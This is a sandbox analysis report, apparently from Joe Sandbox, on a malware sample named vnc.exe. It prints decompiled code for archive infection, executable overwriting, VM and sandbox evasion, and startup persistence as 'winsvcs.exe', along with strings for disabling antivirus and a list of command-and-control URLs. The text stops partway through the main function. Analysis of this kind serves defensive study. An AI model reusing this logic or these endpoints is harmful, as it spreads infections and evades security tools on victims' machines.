Analysis Process: vnc.exe PID: 3232 Parent PID: 2668vnc.exeUNIQUE

Execution Graph

Execution Coverage:	8.8%
Dynamic/Decrypted Code Coverage:	4.2%
Signature Coverage:	28.4%
Total number of Nodes:	736
Total number of Limit Nodes:	11

Executed Functions

Function 0040565A, Relevance: 52.7, APIs: 20, Strings: 10, Instructions: 205
sleepfileUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040565A() {
				WCHAR* _v8;
				struct _WIN32_FIND_DATAW _v604;
				void* _v608;
				short _v1132;
				short _v1652;
				signed int _v1656;
				WCHAR* _v1660;
				intOrPtr* _v1664;
				short* _v1668;
				intOrPtr _v1672;
				short _v1674;
				void* _t64;
				long _t70;
				void* _t140;
				void* _t142;

				_v8 = _v8 & 0x00000000;
				memset( &_v1652, 0, 0x208);
				memset( &_v1132, 0, 0x208);
				_t142 = _t140 + 0x18;
				_t64 = FindFirstFileW(L"*.*",  &_v604);
				_v608 = _t64;
				if(_v608 != 0xffffffff) {
					do {
						if((_v604.cFileName & 0x0000ffff) == 0x2e) {
							goto L26;
						}
						_t70 = _v604.dwFileAttributes & 0x00000010;
						_v604.dwFileAttributes = _t70;
						if(_t70 == 0) {
							if(GetFullPathNameW( &(_v604.cFileName), 0x104,  &_v1132,  &_v8) != 0 && E00401000( &_v1132, L"Recycle.Bin") == 0) {
								_v1664 =  &_v1132;
								_v1668 =  &_v1652;
								_v1672 = _v1668;
								do {
									_v1674 =  *_v1664;
									 *_v1668 = _v1674;
									_v1664 = _v1664 + 2;
									_v1668 = _v1668 + 2;
								} while (_v1674 != 0);
								CharLowerW( &_v1652);
								if(E00401000( &_v1652, L".zip") != 0) {
									E004032DD(0x40abd0,  &_v1132);
									Sleep(0x3e8);
								}
								if(E00401000( &_v1652, L".rar") != 0) {
									E00402807( &_v1132, 0x40abd0, "Windows Archive Manager.exe", 0x80); // executed
									_t142 = _t142 + 0x10;
									Sleep(0x3e8);
								}
								if(E00401000( &_v1652, L".7z") != 0) {
									E00402807( &_v1132, 0x40abd0, "Windows Archive Manager.exe", 0x80);
									_t142 = _t142 + 0x10;
									Sleep(0x3e8);
								}
								if(E00401000( &_v1652, L".tar") != 0) {
									E00402807( &_v1132, 0x40abd0, "Windows Archive Manager.exe", 0x80);
									_t142 = _t142 + 0x10;
									Sleep(0x3e8);
								}
								_v1656 = _v1656 & 0x00000000;
								while(_v1656 < 8) {
									if(E00401000( &_v1652,  *((intOrPtr*)(0x40a09c + _v1656 * 4))) != 0) {
										_v1660 = PathFindFileNameW( &_v1652);
										if(_v1660 != 0 && E00401000(_v1660, L".exe") != 0) {
											SetFileAttributesW(_v1660, 0x80);
											DeleteFileW(_v1660);
											Sleep(0x1f4);
											CopyFileW(0x40abd0,  &_v1132, 0);
										}
									}
									Sleep(0x64);
									_v1656 = _v1656 + 1;
								}
							}
							goto L26;
						}
						if(SetCurrentDirectoryW( &(_v604.cFileName)) == 1) {
							E0040565A();
							SetCurrentDirectoryW(L"..");
						}
						L26:
						Sleep(0x64);
					} while (FindNextFileW(_v608,  &_v604) != 0);
					return FindClose(_v608);
				}
				return _t64;
			}

0x00405663
0x00405675
0x0040568b
0x00405690
0x0040569f
0x004056a5
0x004056b2
0x004056b8
0x004056c2
0x00000000
0x00000000
0x004056ce
0x004056d1
0x004056d7
0x0040571f
0x00405746
0x00405752
0x0040575e
0x00405764
0x0040576d
0x00405781
0x0040578c
0x0040579a
0x004057a0
0x004057b1
0x004057cc
0x004057da
0x004057e6
0x004057e6
0x00405801
0x00405819
0x0040581e
0x00405826
0x00405826
0x00405841
0x00405859
0x0040585e
0x00405866
0x00405866
0x00405881
0x00405899
0x0040589e
0x004058a6
0x004058a6
0x004058ac
0x004058c2
0x004058ec
0x004058fb
0x00405908
0x0040592b
0x00405937
0x00405942
0x00405956
0x00405956
0x00405908
0x0040595e
0x004058bc
0x004058bc
0x004058c2
0x00000000
0x0040571f
0x004056e9
0x004056eb
0x004056f5
0x004056f5
0x00405969
0x0040596b
0x00405984
0x00000000
0x00405992
0x00405999

APIs

memset.MSVCRT ref: 00405675
memset.MSVCRT ref: 0040568B
FindFirstFileW.KERNEL32(*.*,?), ref: 0040569F
SetCurrentDirectoryW.KERNEL32(?), ref: 004056E0

Part of subcall function 0040565A: SetCurrentDirectoryW.KERNEL32(00408834), ref: 004056F5

GetFullPathNameW.KERNEL32(?,00000104,?,00000000), ref: 00405717
FindClose.KERNEL32(000000FF), ref: 00405992

Part of subcall function 00401000: wcsstr.MSVCRT ref: 00401009

CharLowerW.USER32(?), ref: 004057B1
CopyFileW.KERNEL32(0040ABD0,?,00000000), ref: 00405956

Part of subcall function 004032DD: CoInitialize.OLE32(00000000), ref: 004032EB
Part of subcall function 004032DD: CoCreateInstance.OLE32(0040726C,00000000,00000001,0040725C,?), ref: 00403303
Part of subcall function 004032DD: VariantInit.OLEAUT32(?), ref: 0040331A
Part of subcall function 004032DD: VariantInit.OLEAUT32(?), ref: 00403355
Part of subcall function 004032DD: VariantInit.OLEAUT32(?), ref: 0040336C
Part of subcall function 004032DD: Sleep.KERNEL32(000003E8), ref: 004033AB
Part of subcall function 004032DD: CoUninitialize.OLE32 ref: 004033C7

Sleep.KERNEL32(000003E8), ref: 004057E6
Sleep.KERNEL32(000003E8), ref: 00405826
Sleep.KERNEL32(000003E8), ref: 00405866
Sleep.KERNEL32(00000064), ref: 0040595E

Part of subcall function 00402807: CreateFileW.KERNEL32(0040ABD0,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004028E4
Part of subcall function 00402807: GetFileSize.KERNEL32(000000FF,00000000), ref: 00402908
Part of subcall function 00402807: CloseHandle.KERNEL32(000000FF), ref: 00402923
Part of subcall function 00402807: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,00000080,00000000), ref: 00402945
Part of subcall function 00402807: GetFileSize.KERNEL32(?,00000000), ref: 00402959
Part of subcall function 00402807: CloseHandle.KERNEL32(000000FF), ref: 00402974
Part of subcall function 00402807: CloseHandle.KERNEL32(?), ref: 00402980
Part of subcall function 00402807: SetFilePointer.KERNEL32(?,000000F8,00000000,00000000), ref: 004029A1
Part of subcall function 00402807: CreateFileMappingA.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 004029B7
Part of subcall function 00402807: CloseHandle.KERNEL32(000000FF), ref: 004029D2
Part of subcall function 00402807: CloseHandle.KERNEL32(?), ref: 004029DE
Part of subcall function 00402807: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 004029F9
Part of subcall function 00402807: CloseHandle.KERNEL32(00000000), ref: 00402A14
Part of subcall function 00402807: CloseHandle.KERNEL32(000000FF), ref: 00402A20
Part of subcall function 00402807: CloseHandle.KERNEL32(?), ref: 00402A2C
Part of subcall function 00402807: lstrlenA.KERNEL32(?), ref: 00402AA4
Part of subcall function 00402807: memset.MSVCRT ref: 00402ACD
Part of subcall function 00402807: memcpy.MSVCRT ref: 00402B0C
Part of subcall function 00402807: WriteFile.KERNEL32(?,?,00000020,?,00000000), ref: 00402B49
Part of subcall function 00402807: WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00402B69
Part of subcall function 00402807: WriteFile.KERNEL32(?,00000000,000000FF,?,00000000), ref: 00402B8A
Part of subcall function 00402807: WriteFile.KERNEL32(?,000000C4,00000007,?,00000000), ref: 00402BA8
Part of subcall function 00402807: UnmapViewOfFile.KERNEL32(00000000), ref: 00402BB4
Part of subcall function 00402807: CloseHandle.KERNEL32(00000000), ref: 00402BC0
Part of subcall function 00402807: CloseHandle.KERNEL32(000000FF), ref: 00402BCC
Part of subcall function 00402807: CloseHandle.KERNEL32(?), ref: 00402BD8

Sleep.KERNEL32(000003E8), ref: 004058A6
PathFindFileNameW.SHLWAPI(?), ref: 004058F5
SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040592B
DeleteFileW.KERNEL32(00000000), ref: 00405937
Sleep.KERNEL32(000001F4), ref: 00405942
Sleep.KERNEL32(00000064), ref: 0040596B
FindNextFileW.KERNEL32(000000FF,?), ref: 0040597E

Strings

.7z, xrefs: 0040582C
*.*, xrefs: 0040569A
Windows Archive Manager.exe, xrefs: 00405888
.rar, xrefs: 004057EC
.zip, xrefs: 004057B7
Windows Archive Manager.exe, xrefs: 00405808
.tar, xrefs: 0040586C
.exe, xrefs: 0040590A
Recycle.Bin, xrefs: 00405725
Windows Archive Manager.exe, xrefs: 00405848

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: File$Close$Handle$Sleep$CreateFindWrite$InitVariantmemset$CurrentDirectoryNamePathSizeView$AttributesCharCopyDeleteFirstFullInitializeInstanceLowerMappingNextPointerUninitializeUnmaplstrlenmemcpywcsstr
String ID: *.*$.7z$.exe$.rar$.tar$.zip$Recycle.Bin$Windows Archive Manager.exe$Windows Archive Manager.exe$Windows Archive Manager.exe
API String ID: 1071546012-102573928
Opcode ID: c609779f97ea60736074affe20d816c6e7c882ed76d4f550c0bc719050892f0d
Instruction ID: a3ae87070bf5d7ea6fd54d0728f8626e91d67db4b1d095a8a1b46c8a366f680f
Opcode Fuzzy Hash: c609779f97ea60736074affe20d816c6e7c882ed76d4f550c0bc719050892f0d
Instruction Fuzzy Hash: B8819372D047189AEB20AB70DD49B9A7379EB04315F5041FAF248F21D0EF7A9A948F1D

Uniqueness

Uniqueness Score: 100.00%

Function 00405533, Relevance: 50.8, APIs: 8, Strings: 21, Instructions: 71
sleeplibraryloaderUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405533() {
				CHAR* _v8;
				CHAR* _v12;
				CHAR* _v16;
				CHAR* _v20;
				CHAR* _v24;
				CHAR* _v28;
				CHAR* _v32;
				CHAR* _v36;
				CHAR* _v40;
				CHAR* _v44;
				CHAR* _v48;
				CHAR* _v52;
				CHAR* _v56;
				CHAR* _v60;
				CHAR* _v64;
				CHAR* _v68;
				CHAR* _v72;
				CHAR* _v76;
				CHAR* _v80;
				struct HINSTANCE__* _v84;
				signed int _v88;
				signed int _v92;
				_Unknown_base(*)()* _t41;
				void* _t46;
				void* _t49;

				_v80 = "python.exe";
				_v76 = "pythonw.exe";
				_v72 = "prl_cc.exe";
				_v68 = "prl_tools.exe";
				_v64 = "vmsrvc.exe";
				_v60 = "vmusrvc.exe";
				_v56 = "xenservice.exe";
				_v52 = "vboxservice.exe";
				_v48 = "vboxtray.exe";
				_v44 = "vboxcontrol.exe";
				_v40 = "vmwareservice.exe";
				_v36 = "vmwaretray.exe";
				_v32 = "tpautoconnsvc.exe";
				_v28 = "vmtoolsd.exe";
				_v24 = "vmwareuser.exe";
				_v20 = "sbiedll.dll";
				_v16 = "sbiedllx.dll";
				_v12 = "dir_watch.dll";
				_v8 = "wpespy.dll";
				_t41 = GetModuleHandleA("kernel32.dll");
				_v84 = _t41;
				if(_v84 != 0) {
					_t41 = GetProcAddress(_v84, "wine_get_unix_file_name");
					if(_t41 != 0) {
						ExitProcess(0);
					}
				}
				Sleep(0x64); // executed
				_v88 = _v88 & 0x00000000;
				while(_v88 < 0xf) {
					_t46 = E004033D1( *((intOrPtr*)(_t49 + _v88 * 4 - 0x4c))); // executed
					if(_t46 != 0) {
						ExitProcess(0);
					}
					_t41 = _v88 + 1;
					_v88 = _t41;
				}
				Sleep(0x64); // executed
				_v92 = _v92 & 0x00000000;
				while(_v92 < 4) {
					if(GetModuleHandleA( *(_t49 + _v92 * 4 - 0x10)) != 0) {
						ExitProcess(0);
					}
					_t41 = _v92 + 1;
					_v92 = _t41;
				}
				return _t41;
			}

0x00405539
0x00405540
0x00405547
0x0040554e
0x00405555
0x0040555c
0x00405563
0x0040556a
0x00405571
0x00405578
0x0040557f
0x00405586
0x0040558d
0x00405594
0x0040559b
0x004055a2
0x004055a9
0x004055b0
0x004055b7
0x004055c3
0x004055c9
0x004055d0
0x004055da
0x004055e2
0x004055e6
0x004055e6
0x004055e2
0x004055ee
0x004055f4
0x00405601
0x0040560e
0x00405616
0x0040561a
0x0040561a
0x004055fd
0x004055fe
0x004055fe
0x00405624
0x0040562a
0x00405637
0x0040564c
0x00405650
0x00405650
0x00405633
0x00405634
0x00405634
0x00405659

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004055C3
GetProcAddress.KERNEL32(00000000,wine_get_unix_file_name), ref: 004055DA
ExitProcess.KERNEL32 ref: 004055E6
Sleep.KERNELBASE(00000064), ref: 004055EE
ExitProcess.KERNEL32 ref: 00405650

Part of subcall function 004033D1: CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 004033DE
Part of subcall function 004033D1: Process32First.KERNEL32(000000FF,00000128), ref: 00403407
Part of subcall function 004033D1: CharLowerA.USER32(?), ref: 0040341E
Part of subcall function 004033D1: CloseHandle.KERNEL32(000000FF), ref: 004034B7
Part of subcall function 004033D1: Process32Next.KERNEL32(000000FF,00000128), ref: 004034CC
Part of subcall function 004033D1: CloseHandle.KERNEL32(000000FF), ref: 004034DC

ExitProcess.KERNEL32 ref: 0040561A
Sleep.KERNELBASE(00000064), ref: 00405624
GetModuleHandleA.KERNEL32(00409118), ref: 00405644

Strings

vmwareuser.exe, xrefs: 0040559B
vmsrvc.exe, xrefs: 00405555
vboxtray.exe, xrefs: 00405571
sbiedllx.dll, xrefs: 004055A9
prl_cc.exe, xrefs: 00405547
dir_watch.dll, xrefs: 004055B0
kernel32.dll, xrefs: 004055BE
vmtoolsd.exe, xrefs: 00405594
python.exe, xrefs: 00405539
vmwaretray.exe, xrefs: 00405586
vmusrvc.exe, xrefs: 0040555C
wpespy.dll, xrefs: 004055B7
vboxservice.exe, xrefs: 0040556A
tpautoconnsvc.exe, xrefs: 0040558D
sbiedll.dll, xrefs: 004055A2
pythonw.exe, xrefs: 00405540
vmwareservice.exe, xrefs: 0040557F
prl_tools.exe, xrefs: 0040554E
wine_get_unix_file_name, xrefs: 004055D2
xenservice.exe, xrefs: 00405563
vboxcontrol.exe, xrefs: 00405578

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: Handle$ExitProcess$CloseModuleProcess32Sleep$AddressCharCreateFirstLowerNextProcSnapshotToolhelp32
String ID: dir_watch.dll$kernel32.dll$prl_cc.exe$prl_tools.exe$python.exe$pythonw.exe$sbiedll.dll$sbiedllx.dll$tpautoconnsvc.exe$vboxcontrol.exe$vboxservice.exe$vboxtray.exe$vmsrvc.exe$vmtoolsd.exe$vmusrvc.exe$vmwareservice.exe$vmwaretray.exe$vmwareuser.exe$wine_get_unix_file_name$wpespy.dll$xenservice.exe
API String ID: 1631755162-2780004707
Opcode ID: bc0d7e75a676c49ec111180007f1c957fbc79a7d5f8583c8c990488857ed0d33
Instruction ID: a5b3591f241ac56663d7eef545acc2d3d6be79828b9e130b31df9b9cb3590e4b
Opcode Fuzzy Hash: bc0d7e75a676c49ec111180007f1c957fbc79a7d5f8583c8c990488857ed0d33
Instruction Fuzzy Hash: F631D270D05289DBDB00EFD0D94C69EBBB0FB05309F60843AE506BA2D6C7BA5949CF59

Uniqueness

Uniqueness Score: 100.00%

Function 004033D1, Relevance: 9.1, APIs: 6, Instructions: 70
processCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E004033D1(intOrPtr* _a4) {
				void* _v8;
				char _v272;
				void* _v308;
				intOrPtr* _v312;
				intOrPtr* _v316;
				signed int _v317;
				signed int _v318;
				signed int _v324;
				signed int _v328;
				void* _t35;
				int _t37;
				signed int _t43;
				int _t46;

				_t35 = CreateToolhelp32Snapshot(0xf, 0); // executed
				_v8 = _t35;
				if(_v8 != 0xffffffff) {
					_v308 = 0x128;
					_t37 = Process32First(_v8,  &_v308); // executed
					if(_t37 != 0) {
						do {
							CharLowerA( &_v272);
							_v312 =  &_v272;
							_v316 = _a4;
							while(1) {
								_t43 =  *_v316;
								_v317 = _t43;
								if(_t43 !=  *_v312) {
									break;
								}
								if(_v317 == 0) {
									L9:
									_v324 = _v324 & 0x00000000;
									L11:
									_v328 = _v324;
									if(_v328 != 0) {
										goto L13;
									}
									CloseHandle(_v8);
									return 1;
								}
								_t43 =  *((intOrPtr*)(_v316 + 1));
								_v318 = _t43;
								if(_t43 !=  *((intOrPtr*)(_v312 + 1))) {
									break;
								}
								_v316 = _v316 + 2;
								_v312 = _v312 + 2;
								if(_v318 != 0) {
									continue;
								}
								goto L9;
							}
							asm("sbb eax, eax");
							asm("sbb eax, 0xffffffff");
							_v324 = _t43;
							goto L11;
							L13:
							_t46 = Process32Next(_v8,  &_v308); // executed
						} while (_t46 != 0);
						CloseHandle(_v8);
						return 0;
					}
					return 0;
				}
				return 0;
			}

0x004033de
0x004033e3
0x004033ea
0x004033f3
0x00403407
0x0040340e
0x00403417
0x0040341e
0x0040342a
0x00403433
0x00403439
0x0040343f
0x00403441
0x0040344f
0x00000000
0x00000000
0x00403458
0x0040348b
0x0040348b
0x0040349f
0x004034a5
0x004034b2
0x00000000
0x00000000
0x004034b7
0x00000000
0x004034bf
0x00403460
0x00403463
0x00403472
0x00000000
0x00000000
0x00403474
0x0040347b
0x00403489
0x00000000
0x00000000
0x00000000
0x00403489
0x00403494
0x00403496
0x00403499
0x00000000
0x004034c2
0x004034cc
0x004034d1
0x004034dc
0x00000000
0x004034e2
0x00000000
0x00403410
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 004033DE
Process32First.KERNEL32(000000FF,00000128), ref: 00403407
CharLowerA.USER32(?), ref: 0040341E
CloseHandle.KERNEL32(000000FF), ref: 004034B7
Process32Next.KERNEL32(000000FF,00000128), ref: 004034CC
CloseHandle.KERNEL32(000000FF), ref: 004034DC

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: CloseHandleProcess32$CharCreateFirstLowerNextSnapshotToolhelp32
String ID:
API String ID: 1582946944-0
Opcode ID: 5c34588e21f89465d4ad527e7a282fd2a96a42e09950e3a1bdfe9106ec75b21b
Instruction ID: 28b41e58f7367b712ca8f338dbaf9911c769a9c841e83b7527f35b47edef1405
Opcode Fuzzy Hash: 5c34588e21f89465d4ad527e7a282fd2a96a42e09950e3a1bdfe9106ec75b21b
Instruction Fuzzy Hash: 17313630D042689FCB22DF24CD447E9BBB9AB18319F4005EAE449B62A1D7389F85DF04

Uniqueness

Uniqueness Score: 1.47%

Function 0002083A, Relevance: 3.8, Strings: 3, Instructions: 90
COMMON

Control-flow Graph

Executed
Not Executed

Strings

l, xrefs: 00020875
GetProcAddress., xrefs: 000208EB, 000208EE, 000208F3
., xrefs: 0002086E

Memory Dump Source

Source File: 00000001.00000002.324344684.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_20000_vnc.jbxd

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: c43662d949464a5f0bc1a6b47ce8f05d187c28c073a20cebd063a85592e3d9a5
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 573149B6900719DFDB10CF99D880AAEBBF9FF08324F24404AD441A7211D771EA45CBA4

Uniqueness

Uniqueness Score: 0.07%

Function 00405AF4, Relevance: 413.9, APIs: 116, Strings: 120, Instructions: 937
registrysleepfileUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E00405AF4() {
				short _v524;
				char _v528;
				int _v532;
				long _v536;
				short* _v540;
				short* _v544;
				short* _v548;
				short* _v552;
				short* _v556;
				short* _v560;
				short* _v564;
				void _v588;
				short _v1108;
				short _v1164;
				char _v1180;
				void _v1700;
				char _v2220;
				short _v2740;
				void* _v2744;
				short* _v2756;
				short* _v2760;
				short* _v2764;
				short* _v2768;
				short* _v2772;
				short* _v2776;
				short* _v2780;
				short* _v2784;
				short* _v2788;
				short* _v2792;
				short* _v2796;
				short* _v2800;
				short* _v2804;
				short* _v2808;
				short* _v2812;
				short* _v2816;
				short* _v2820;
				short* _v2824;
				short* _v2828;
				short* _v2832;
				short* _v2836;
				short* _v2840;
				short* _v2844;
				short* _v2848;
				short* _v2852;
				short* _v2856;
				short* _v2860;
				short* _v2864;
				short* _v2868;
				short* _v2872;
				short* _v2876;
				short* _v2880;
				short* _v2884;
				short* _v2888;
				short* _v2892;
				short* _v2896;
				short* _v2900;
				short* _v2904;
				short* _v2908;
				short* _v2912;
				short* _v2916;
				short* _v2920;
				short* _v2924;
				short* _v2928;
				short* _v2932;
				short* _v2936;
				short* _v2940;
				short* _v2944;
				short* _v2948;
				short* _v2952;
				short* _v2956;
				short* _v2960;
				short* _v2964;
				short* _v2968;
				short* _v2972;
				short* _v2976;
				short* _v2980;
				short* _v2984;
				short* _v2988;
				short* _v2992;
				short* _v2996;
				short* _v3000;
				short* _v3004;
				short* _v3008;
				short* _v3012;
				short* _v3016;
				short* _v3020;
				short* _v3024;
				short* _v3028;
				short* _v3032;
				short* _v3036;
				intOrPtr _v3040;
				intOrPtr _v3044;
				intOrPtr _v3048;
				intOrPtr _v3052;
				intOrPtr _v3056;
				short _v3580;
				char _v3980;
				void _v4484;
				char _v5004;
				short* _v5008;
				short* _v5012;
				short* _v5016;
				short _v5540;
				void* _v5544;
				signed int _v5548;
				signed int _v5552;
				signed int _v5556;
				signed int _v5560;
				signed int _v5564;
				signed int _v5568;
				void _v6076;
				intOrPtr* _v6080;
				intOrPtr* _v6084;
				signed int _v6086;
				signed int _v6088;
				signed int _v6092;
				signed int _v6096;
				intOrPtr* _v6100;
				intOrPtr _v6104;
				short _v6106;
				signed int _v6112;
				intOrPtr* _v6116;
				intOrPtr _v6120;
				short _v6122;
				signed int _v6128;
				intOrPtr* _v6132;
				intOrPtr _v6136;
				short _v6138;
				signed int _v6144;
				void* _t375;
				int _t400;
				void* _t405;
				void* _t410;
				signed int _t417;
				signed int _t434;
				long _t528;
				long _t530;
				int _t577;
				int _t579;
				int _t582;
				int _t591;
				int _t594;
				int _t601;
				int _t604;
				int _t609;
				void* _t612;
				signed int _t613;
				void* _t638;
				void* _t639;
				void* _t641;
				void* _t648;
				void* _t650;
				void* _t652;
				void* _t653;

				E00406C20(0x17fc, _t612);
				Sleep(0x3e8); // executed
				E00405533(); // executed
				Sleep(0x3e8); // executed
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsb");
				_t613 = 6;
				memcpy( &_v588, L"winsvcs.exe", _t613 << 2);
				_push(0xd);
				memcpy( &_v1164, L"Microsoft Windows Services", 0 << 2);
				_t641 = _t639 + 0x18;
				asm("movsw");
				_v3056 = "t.exe";
				_v3052 = "m.exe";
				_v3048 = "p.exe";
				_v3044 = "s.exe";
				_v3040 = "o.exe";
				_v5016 = L"%windir%";
				_v5012 = L"%userprofile%";
				_v5008 = L"%temp%";
				_v564 = L"AntiVirusOverride";
				_v560 = L"UpdatesOverride";
				_v556 = L"FirewallOverride";
				_v552 = L"AntiVirusDisableNotify";
				_v548 = L"UpdatesDisableNotify";
				_v544 = L"AutoUpdateDisableNotify";
				_v540 = L"FirewallDisableNotify";
				_v3036 = "http://92.63.197.48/";
				_v3032 = "http://iugouehoeohfh.ru/";
				_v3028 = "http://ugoheoheufefu.ru/";
				_v3024 = "http://iefigjgdidisi.ru/";
				_v3020 = "http://ouegouehouseh.ru/";
				_v3016 = "http://riifndisojdoj.ru/";
				_v3012 = "http://inigbiseijfji.ru/";
				_v3008 = "http://udunfjgussiid.ru/";
				_v3004 = "http://eiisisiysjsif.ru/";
				_v3000 = "http://iriototooeuwo.ru/";
				_v2996 = "http://nkihigheogojg.ru/";
				_v2992 = "http://iugouehoeohfh.su/";
				_v2988 = "http://ugoheoheufefu.su/";
				_v2984 = "http://iefigjgdidisi.su/";
				_v2980 = "http://ouegouehouseh.su/";
				_v2976 = "http://riifndisojdoj.su/";
				_v2972 = "http://inigbiseijfji.su/";
				_v2968 = "http://udunfjgussiid.su/";
				_v2964 = "http://eiisisiysjsif.su/";
				_v2960 = "http://iriototooeuwo.su/";
				_v2956 = "http://nkihigheogojg.su/";
				_v2952 = "http://iugouehoeohfh.in/";
				_v2948 = "http://ugoheoheufefu.in/";
				_v2944 = "http://iefigjgdidisi.in/";
				_v2940 = "http://ouegouehouseh.in/";
				_v2936 = "http://riifndisojdoj.in/";
				_v2932 = "http://inigbiseijfji.in/";
				_v2928 = "http://udunfjgussiid.in/";
				_v2924 = "http://eiisisiysjsif.in/";
				_v2920 = "http://iriototooeuwo.in/";
				_v2916 = "http://nkihigheogojg.in/";
				_v2912 = "http://iugouehoeohfh.net/";
				_v2908 = "http://ugoheoheufefu.net/";
				_v2904 = "http://iefigjgdidisi.net/";
				_v2900 = "http://ouegouehouseh.net/";
				_v2896 = "http://riifndisojdoj.net/";
				_v2892 = "http://inigbiseijfji.net/";
				_v2888 = "http://udunfjgussiid.net/";
				_v2884 = "http://eiisisiysjsif.net/";
				_v2880 = "http://iriototooeuwo.net/";
				_v2876 = "http://nkihigheogojg.net/";
				_v2872 = "http://iugouehoeohfh.com/";
				_v2868 = "http://ugoheoheufefu.com/";
				_v2864 = "http://iefigjgdidisi.com/";
				_v2860 = "http://ouegouehouseh.com/";
				_v2856 = "http://riifndisojdoj.com/";
				_v2852 = "http://inigbiseijfji.com/";
				_v2848 = "http://udunfjgussiid.com/";
				_v2844 = "http://eiisisiysjsif.com/";
				_v2840 = "http://iriototooeuwo.com/";
				_v2836 = "http://nkihigheogojg.com/";
				_v2832 = "http://iugouehoeohfh.biz/";
				_v2828 = "http://ugoheoheufefu.biz/";
				_v2824 = "http://iefigjgdidisi.biz/";
				_v2820 = "http://ouegouehouseh.biz/";
				_v2816 = "http://riifndisojdoj.biz/";
				_v2812 = "http://inigbiseijfji.biz/";
				_v2808 = "http://udunfjgussiid.biz/";
				_v2804 = "http://eiisisiysjsif.biz/";
				_v2800 = "http://iriototooeuwo.biz/";
				_v2796 = "http://nkihigheogojg.biz/";
				_v2792 = "http://iugouehoeohfh.info/";
				_v2788 = "http://ugoheoheufefu.info/";
				_v2784 = "http://iefigjgdidisi.info/";
				_v2780 = "http://ouegouehouseh.info/";
				_v2776 = "http://riifndisojdoj.info/";
				_v2772 = "http://inigbiseijfji.info/";
				_v2768 = "http://udunfjgussiid.info/";
				_v2764 = "http://eiisisiysjsif.info/";
				_v2760 = "http://iriototooeuwo.info/";
				_v2756 = "http://nkihigheogojg.info/";
				_t375 = CreateMutexA(0, 0,  &_v1180); // executed
				_v5544 = _t375;
				if(GetLastError() != 0xb7) {
					_v2744 = _v2744 & 0x00000000;
					_v528 = 1;
					memset( &_v2740, 0, 0x208);
					memset( &_v3580, 0, 0x208);
					memset( &_v2220, 0, 0x208);
					memset( &_v1700, 0, 0x208);
					memset( &_v5540, 0, 0x208);
					__imp__#115(0x202,  &_v3980); // executed
					GetModuleFileNameW(0,  &_v2740, 0x208);
					_push( &_v2740);
					_push(L"%ls:Zone.Identifier");
					_push(0x208);
					_push( &_v3580);
					L00401030();
					DeleteFileW( &_v3580); // executed
					Sleep(0x1f4); // executed
					ExpandEnvironmentStringsW(L"%systemdrive%",  &_v1700, 0x208);
					_push( &_v588);
					_push( &_v1700);
					_push(L"%ls\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\%ls");
					_push(0x208);
					_push( &_v5540);
					L00401030();
					_t648 = _t641 + 0x60;
					_t400 = PathFileExistsW( &_v5540); // executed
					if(_t400 == 0) {
						_t609 = CopyFileW( &_v2740,  &_v5540, 0); // executed
						if(_t609 != 0) {
							SetFileAttributesW( &_v5540, 7); // executed
						}
					}
					Sleep(0x1f4); // executed
					memset( &_v1700, 0, 0x208);
					memset( &_v5540, 0, 0x208);
					_t650 = _t648 + 0x18;
					_t405 =  &_v1700;
					__imp__SHGetFolderPathW(0, 0x1e, 0, 0, _t405); // executed
					if(_t405 == 0) {
						_push( &_v588);
						_push( &_v1700);
						_push(L"%ls\\%ls");
						_push(0x208);
						_push( &_v5540);
						L00401030();
						_t650 = _t650 + 0x14;
						_t601 = PathFileExistsW( &_v5540); // executed
						if(_t601 == 0) {
							_t604 = CopyFileW( &_v2740,  &_v5540, 0); // executed
							if(_t604 != 0) {
								SetFileAttributesW( &_v5540, 7); // executed
							}
						}
					}
					Sleep(0x1f4); // executed
					memset( &_v1700, 0, 0x208);
					memset( &_v5540, 0, 0x208);
					_t652 = _t650 + 0x18;
					_t410 =  &_v1700;
					__imp__SHGetFolderPathW(0, 0x17, 0, 0, _t410); // executed
					if(_t410 == 0) {
						_push( &_v588);
						_push( &_v1700);
						_push(L"%ls\\%ls");
						_push(0x208);
						_push( &_v5540);
						L00401030();
						_t652 = _t652 + 0x14;
						_t591 = PathFileExistsW( &_v5540); // executed
						if(_t591 == 0) {
							_t594 = CopyFileW( &_v2740,  &_v5540, 0); // executed
							if(_t594 != 0) {
								SetFileAttributesW( &_v5540, 7); // executed
							}
						}
					}
					Sleep(0x1f4); // executed
					_v5548 = _v5548 & 0x00000000;
					while(_v5548 < 3) {
						memset( &_v1108, 0, 0x208);
						memset( &_v524, 0, 0x208);
						memset( &_v5004, 0, 0x208);
